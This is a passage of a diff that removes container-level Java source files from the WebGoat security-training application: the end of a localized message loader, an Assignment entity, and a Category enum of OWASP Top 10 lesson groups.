-    this.setBasename("WebGoatLabels");
-    this.resourcePatternResolver = resourcePatternResolver;
-  }
-
-  @Override
-  protected PropertiesHolder refreshProperties(String filename, PropertiesHolder propHolder) {
-    Properties properties = new Properties();
-    long lastModified = System.currentTimeMillis();
-
-    try {
-      var resources =
-          resourcePatternResolver.getResources(
-              "classpath:/lessons/**/i18n" + "/WebGoatLabels" + PROPERTIES_SUFFIX);
-      for (var resource : resources) {
-        String sourcePath = resource.getURI().toString().replace(PROPERTIES_SUFFIX, "");
-        PropertiesHolder holder = super.refreshProperties(sourcePath, propHolder);
-        properties.putAll(holder.getProperties());
-      }
-    } catch (IOException e) {
-      logger.error("Unable to read plugin message", e);
-    }
-
-    return new PropertiesHolder(properties, lastModified);
-  }
-
-  public Properties getMessages() {
-    return getMergedProperties(language.getLocale()).getProperties();
-  }
-
-  public String getMessage(String code, Object... args) {
-    return getMessage(code, args, language.getLocale());
-  }
-
-  public String getMessage(String code, String defaultValue, Object... args) {
-    return super.getMessage(code, args, defaultValue, language.getLocale());
-  }
-}

src/main/java/org/owasp/webgoat/container/lessons/Assignment.java

@@ -1,77 +0,0 @@
-package org.owasp.webgoat.container.lessons;
-
-import jakarta.persistence.Entity;
-import jakarta.persistence.GeneratedValue;
-import jakarta.persistence.GenerationType;
-import jakarta.persistence.Id;
-import jakarta.persistence.Transient;
-import java.util.ArrayList;
-import java.util.List;
-import lombok.EqualsAndHashCode;
-import lombok.Getter;
-
-/**
- * ************************************************************************************************
- * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
- *
- * <p>
- *
- * @author nbaars
- * @version $Id: $Id
- * @since November 25, 2016
- */
-@Getter
-@EqualsAndHashCode
-@Entity
-public class Assignment {
-
-  @Id
-  @GeneratedValue(strategy = GenerationType.IDENTITY)
-  private Long id;
-
-  private String name;
-  private String path;
-
-  @Transient private List<String> hints;
-
-  private Assignment() {
-    // Hibernate
-  }
-
-  public Assignment(String name) {
-    this(name, name, new ArrayList<>());
-  }
-
-  public Assignment(String name, String path, List<String> hints) {
-    if (path.equals("") || path.equals("/") || path.equals("/WebGoat/")) {
-      throw new IllegalStateException(
-          "The path of assignment '"
-              + name
-              + "' overrides WebGoat endpoints, please choose a path within the scope of the"
-              + " lesson");
-    }
-    this.name = name;
-    this.path = path;
-    this.hints = hints;
-  }
-}

src/main/java/org/owasp/webgoat/container/lessons/Category.java

@@ -1,67 +0,0 @@
-package org.owasp.webgoat.container.lessons;
-
-import lombok.Getter;
-
-/**
- * *************************************************************************************************
- *
- * <p>
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
- *
- * @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
- * @version $Id: $Id
- * @since October 28, 2003
- */
-public enum Category {
-  INTRODUCTION("Introduction", 5),
-  GENERAL("General", 100),
-
-  A1("(A1) Broken Access Control", 301),
-  A2("(A2) Cryptographic Failures", 302),
-  A3("(A3) Injection", 303),
-
-  A5("(A5) Security Misconfiguration", 305),
-  A6("(A6) Vuln & Outdated Components", 306),
-  A7("(A7) Identity & Auth Failure", 307),
-  A8("(A8) Software & Data Integrity", 308),
-  A9("(A9) Security Logging Failures", 309),
-  A10("(A10) Server-side Request Forgery", 310),
-
-  CLIENT_SIDE("Client side", 1700),
-
-  CHALLENGE("Challenges", 3000);
-
-  @Getter private String name;
-  @Getter private Integer ranking;
-
-  Category(String name, Integer ranking) {
-    this.name = name;
-    this.ranking = ranking;
-  }
-
-  @Override
-  public String toString() {
-    return getName();
-  }
-}